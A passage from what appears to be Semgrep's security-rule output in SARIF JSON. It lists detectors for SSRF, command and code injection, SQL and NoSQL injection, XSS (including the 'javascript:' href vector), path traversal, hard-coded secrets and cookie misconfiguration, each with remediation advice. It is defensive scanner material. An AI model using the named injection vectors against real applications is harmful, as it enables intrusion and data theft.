input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint","id":"java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint","name":"java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize user input that is used respectively as system commands or command arguments. User input going into `curl_exec` or `curl_multi_exec` might lead to Server-Side Request Forgery (SSRF), which you can avoid by using an allowlist of permitted URLs."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize user input that is used respectively as system commands or command arguments. User input going into `curl_exec` or `curl_multi_exec` might lead to Server-Side Request Forgery (SSRF), which you can avoid by using an allowlist of permitted URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-curl-injection.tainted-curl-injection)\n - [https://beaglesecurity.com/blog/vulnerability/curl-file-support-is-not-fixed.html](https://beaglesecurity.com/blog/vulnerability/curl-file-support-is-not-fixed.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize user input that is used respectively as system commands or command arguments. User input going into `curl_exec` or `curl_multi_exec` might lead to Server-Side Request Forgery (SSRF), which you can avoid by using an allowlist of permitted URLs."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-curl-injection.tainted-curl-injection","id":"php.lang.security.tainted-curl-injection.tainted-curl-injection","name":"php.lang.security.tainted-curl-injection.tainted-curl-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-curl-injection.tainted-curl-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"help":{"markdown":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.http-client.ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.http-client.ssrf","id":"csharp.lang.security.ssrf.http-client.ssrf","name":"csharp.lang.security.ssrf.http-client.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.http-client.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of eval with user-controllable input detected. This can lead  to attackers running arbitrary code. Ensure external data does not  reach here, otherwise this is a security vulnerability. Consider  other ways to do this without eval."},"help":{"markdown":"Use of eval with user-controllable input detected. This can lead  to attackers running arbitrary code. Ensure external data does not  reach here, otherwise this is a security vulnerability. Consider  other ways to do this without eval.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.no-eval.ruby-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Use of eval with user-controllable input detected. This can lead  to attackers running arbitrary code. Ensure external data does not  reach here, otherwise this is a security vulnerability. Consider  other ways to do this without eval."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.no-eval.ruby-eval","id":"ruby.lang.security.no-eval.ruby-eval","name":"ruby.lang.security.no-eval.ruby-eval","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.no-eval.ruby-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Function borrowFresh() in Compound performs state update after doTransferOut()"},"help":{"markdown":"Function borrowFresh() in Compound performs state update after doTransferOut()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy)\n - [https://twitter.com/peckshield/status/1509431646818234369](https://twitter.com/peckshield/status/1509431646818234369)\n - [https://twitter.com/blocksecteam/status/1509466576848064512](https://twitter.com/blocksecteam/status/1509466576848064512)\n - [https://slowmist.medium.com/another-day-another-reentrancy-attack-5cde10bbb2b4](https://slowmist.medium.com/another-day-another-reentrancy-attack-5cde10bbb2b4)\n - [https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611](https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611)\n","text":"Function borrowFresh() in Compound performs state update after doTransferOut()"},"helpUri":"https://semgrep.dev/r/solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy","id":"solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy","name":"solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint.process-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint.process-taint","id":"csharp.dotnet-core.command-injection.process-taint.process-taint","name":"csharp.dotnet-core.command-injection.process-taint.process-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.command-injection.process-taint.process-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Do not call 'extract()' on user-controllable data. If you must, then you must also provide the EXTR_SKIP flag to prevent overwriting existing variables."},"help":{"markdown":"Do not call 'extract()' on user-controllable data. If you must, then you must also provide the EXTR_SKIP flag to prevent overwriting existing variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.deserialization.extract-user-data)\n - [https://www.php.net/manual/en/function.extract.php#refsect1-function.extract-notes](https://www.php.net/manual/en/function.extract.php#refsect1-function.extract-notes)\n","text":"Do not call 'extract()' on user-controllable data. If you must, then you must also provide the EXTR_SKIP flag to prevent overwriting existing variables."},"helpUri":"https://semgrep.dev/r/php.lang.security.deserialization.extract-user-data","id":"php.lang.security.deserialization.extract-user-data","name":"php.lang.security.deserialization.extract-user-data","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.deserialization.extract-user-data"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flask response reflects unsanitized user input. This could lead to a cross-site scripting vulnerability (https://owasp.org/www-community/attacks/xss/) in which an attacker causes arbitrary code to be executed in the user's browser. To prevent, please sanitize the user input, e.g. by rendering the response in a Jinja2 template (see considerations in https://flask.palletsprojects.com/en/1.0.x/security/)."},"help":{"markdown":"Flask response reflects unsanitized user input. This could lead to a cross-site scripting vulnerability (https://owasp.org/www-community/attacks/xss/) in which an attacker causes arbitrary code to be executed in the user's browser. To prevent, please sanitize the user input, e.g. by rendering the response in a Jinja2 template (see considerations in https://flask.palletsprojects.com/en/1.0.x/security/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.unsanitized-input.response-contains-unsanitized-input)\n - [https://flask.palletsprojects.com/en/1.0.x/security/](https://flask.palletsprojects.com/en/1.0.x/security/)\n - [https://owasp.org/www-community/attacks/xss/](https://owasp.org/www-community/attacks/xss/)\n","text":"Flask response reflects unsanitized user input. This could lead to a cross-site scripting vulnerability (https://owasp.org/www-community/attacks/xss/) in which an attacker causes arbitrary code to be executed in the user's browser. To prevent, please sanitize the user input, e.g. by rendering the response in a Jinja2 template (see considerations in https://flask.palletsprojects.com/en/1.0.x/security/)."},"helpUri":"https://semgrep.dev/r/python.flask.security.unsanitized-input.response-contains-unsanitized-input","id":"python.flask.security.unsanitized-input.response-contains-unsanitized-input","name":"python.flask.security.unsanitized-input.response-contains-unsanitized-input","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.unsanitized-input.response-contains-unsanitized-input"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected DynamoDB query filter that is tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"help":{"markdown":"Detected DynamoDB query filter that is tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection)\n - [https://medium.com/appsecengineer/dynamodb-injection-1db99c2454ac](https://medium.com/appsecengineer/dynamodb-injection-1db99c2454ac)\n","text":"Detected DynamoDB query filter that is tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection","id":"python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection","name":"python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy)\n - [https://docs.cherrypy.dev/en/latest/tutorials.html](https://docs.cherrypy.dev/en/latest/tutorials.html)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy","id":"python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy","name":"python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask","id":"python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask","name":"python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.java-jwt.jwt-hardcode.jwt-hardcode)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.java-jwt.jwt-hardcode.jwt-hardcode","id":"kotlin.java-jwt.jwt-hardcode.jwt-hardcode","name":"kotlin.java-jwt.jwt-hardcode.jwt-hardcode","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.java-jwt.jwt-hardcode.jwt-hardcode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsUrl can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsUrl can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl](https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsUrl can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method","id":"javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method","name":"javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.aiosqlite-django.aiosqlite-django)\n - [https://aiosqlite.omnilib.dev/en/stable/api.html](https://aiosqlite.omnilib.dev/en/stable/api.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.django.db.aiosqlite-django.aiosqlite-django","id":"python.django.db.aiosqlite-django.aiosqlite-django","name":"python.django.db.aiosqlite-django.aiosqlite-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.aiosqlite-django.aiosqlite-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.turbine-sqli.turbine-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.turbine-sqli.turbine-sqli","id":"java.lang.security.audit.sqli.turbine-sqli.turbine-sqli","name":"java.lang.security.audit.sqli.turbine-sqli.turbine-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.turbine-sqli.turbine-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. In FastAPI apps, the `set_cookie` function's argument `samesite` is set to 'Lax' by default. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. Do not set `samesite` to 'None' to turn off this security feature."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. In FastAPI apps, the `set_cookie` function's argument `samesite` is set to 'Lax' by default. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. Do not set `samesite` to 'None' to turn off this security feature.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n - [https://www.starlette.io/responses/](https://www.starlette.io/responses/)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. In FastAPI apps, the `set_cookie` function's argument `samesite` is set to 'Lax' by default. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. Do not set `samesite` to 'None' to turn off this security feature."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none","id":"python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none","name":"python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: a(href='/'+url). You may also consider setting the Content Security Policy (CSP) header."},"help":{"markdown":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: a(href='/'+url). You may also consider setting the Content Security Policy (CSP) header.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-href.var-in-href)\n - [https://github.com/pugjs/pug/issues/2952](https://github.com/pugjs/pug/issues/2952)\n - [https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI)\n","text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: a(href='/'+url). You may also consider setting the Content Security Policy (CSP) header."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-href.var-in-href","id":"javascript.express.security.audit.xss.pug.var-in-href.var-in-href","name":"javascript.express.security.audit.xss.pug.var-in-href.var-in-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.var-in-href.var-in-href"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the 